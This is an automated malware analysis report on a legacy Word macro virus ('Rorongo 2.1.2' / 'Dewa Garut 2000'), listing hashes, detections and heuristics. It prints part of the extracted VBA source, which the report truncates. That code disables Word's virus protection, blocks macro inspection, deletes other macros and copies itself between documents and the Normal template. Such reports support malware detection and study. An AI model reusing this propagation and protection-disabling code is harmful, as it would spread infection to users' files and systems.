Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 55178e7b30df8d2d…

MALICIOUS

Office (OLE)

43.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 267cc75a858a52cdecef10ab4f0ea6a0 SHA-1: e966ebfd11193fd8062a614abae2defb2346efe8 SHA-256: 55178e7b30df8d2dce5d9ea2d5996dac103d2d7750313b5cfa19e9d26fee2278
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is detected as a legacy macro virus and contains VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon opening or closing a document. The VBA script displays a message box with the text 'Selamat Gabung dengan Rorongo Versi 2.1.2', which appears to be a social engineering lure or a distraction. The ClamAV detection ID 'Legacy.Trojan.Agent-34741' further supports its malicious nature.

Heuristics 5

  • ClamAV: Legacy.Trojan.Agent-34741 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Legacy.Trojan.Agent-34741
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5666 bytes
SHA-256: 6b0c14daabc3d3cba9516b4b3897c71de696ff30b5e79672cd51cc33615c4c1e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "DewaG"
Sub ShowMessage()
    H = Time
    If (WeekDay(Date) = vbFriday Or WeekDay(Date) = vbWednesday Or _
        WeekDay(Date) = vbSunday Or WeekDay(Date) = vbMonday) And _
        Time < TimeValue("09:00:00") Or _
        Time < TimeValue("12:00:00") Or _
        Time < TimeValue("15:00:00") Or _
        Time < TimeValue("19:00:00") Or _
        Time < TimeValue("21:00:00") Then
    For i = 1 To 200
        Beep
    Next i
    H = MsgBox("Anak SukaRajin I Gg. SukaIndah " & Chr(34) & _
    "Ucapin Met Gabung " & Chr(34) & "," & Chr(13) & "dengan Virus Rorongo V 2.1.2 " & Chr(13) & _
    "Kita - kita tidak Ngerusak data kamu lho !" & Chr(13) & _
    "Kita - kita cuman numpang Lewat sambil Promosi." & Chr(13) & Chr(13) & "Jadi, jangan panik OK!" & _
    Chr(13) & "(Hak Cipta oleh Dewa Garut 2000 )", vbOKOnly + vbExclamation, "Selamat Gabung dengan Rorongo Versi 2.1.2")
    End If
End Sub

Sub Bablas()
Attribute Bablas.VB_Description = "Macro created 10/02/99 by  Abdul Aziz"
Attribute Bablas.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Cegat"
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub

Sub ToolsMacro()
    H = MsgBox("Sorry ...... k'moe Kaga bisa ngedit saya.", vbExclamation + vbOKOnly)
End Sub

Sub ViewVbCode()
    ToolsMacro
End Sub

Sub FileTemplates()
    ToolsMacro
End Sub

Sub HelpAbout()
    H = MsgBox("No Pesan utuk k'moe...OK." & Chr(13) & Chr(13) & _
    "ERROR Euuuuuuuuy... !", vbOKOnly + vbExclamation, "Dewa Garut 2000")
End Sub

Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Bablas
End Sub

Sub ChangeCap()
    On Error Resume Next
    Application.Caption = "Maaf.....Dewa Garut 2000......mau lewat dulu ?"
    ActiveWindow.Caption = "(I Don't mean to disturb.)"
End Sub

Sub RestoreCap()
    On Error Resume Next
    Application.Caption = "Microsoft Word"
    ActiveWindow.Caption = ActiveDocument.Name
End Sub

Sub OpenMyMacro()
    If InputBox("Enter password", "Dewa Garut 2000") = "VividSex" Then Application.ShowVisualBasicEditor = True
End Sub

Sub SikatDocument()
    Dim DocOk As Boolean
    DocOk = False
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "DewaG" Then DocOk = True
        If Obj.Name <> "DewaG" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in " + ActiveDocument.Name + "..."
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.StatusBar = "Copying Dewa Garut 2000 From Normal Template to " _
        + ActiveDocument.Name + "..."
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="DewaG", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub SikatTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "DewaG" Then NorOk = True
        If Obj.Name <> "DewaG" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in Normal Template..."
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.StatusBar = "Copying Dewa Garut 2000 From " + ActiveDocument.Name + _
        " to Normal Template..."
        Applica
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.